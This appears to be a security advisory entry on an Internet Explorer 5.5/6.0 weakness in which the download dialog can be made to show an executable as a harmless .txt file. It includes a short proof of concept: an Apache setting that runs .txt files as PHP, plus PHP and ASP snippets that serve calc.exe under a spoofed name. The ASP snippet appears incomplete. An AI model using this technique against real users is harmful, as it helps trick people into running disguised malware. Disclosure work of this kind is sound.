[原文]Internet Explorer 5.5 and 6.0 allows remote attackers to cause the File Download dialogue box to misrepresent the name of the file in the dialogue in a way that could fool users into thinking that the file type is safe to download.
It is possible for a malicious webmaster, hosting files on an website, to spoof file extensions for users of Internet Explorer. For example, an .exe file can be made to look like a .txt (or other seemingly harmless file type) file in the Download dialog.
When including a certain string of characters between the filename and the actual file extension, IE will display the specified misleading file extension type.
The end result is that a malicious webmaster is able to entice a user to open or save arbitrary files to their local system.
* It has been reported that patched systems may still be vulnerable to this issue. If the attacker composes a .hta file, using the methods described above, it is possible for the malicious file to go undetected by patched systems.
With an apache/php server add .txt to the already existing .php extension in the apache.conf file, so that apache will recognise .txt extensions as php script files.
1. Copy the real windows calc.exe from a windows system to the html root dir.
2. Copy the readme.txt file below to the same html root dir.
3. go to the url http://yourserver/readme.txt
You will see the same behavior mentioned in the previous alert.
FILE <readme.txt> BEGIN ----
Header("Content-Disposition: attachment; filename=calc.exe");
FILE <readme.txt> END ----
"Jonathan G. Lampe" <firstname.lastname@example.org> submitted this example in ASP for IIS webservers:
Const adTypeBinary = 1
Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition","attachment; filename=calc.exe"
strFilePath = Server.MapPath(".") & "\calc.exe"
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
Set objStream = Nothing
Microsoft IE Download Dialog File Extension Spoofing Weakness
Loss of Integrity
Patch / RCS
Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.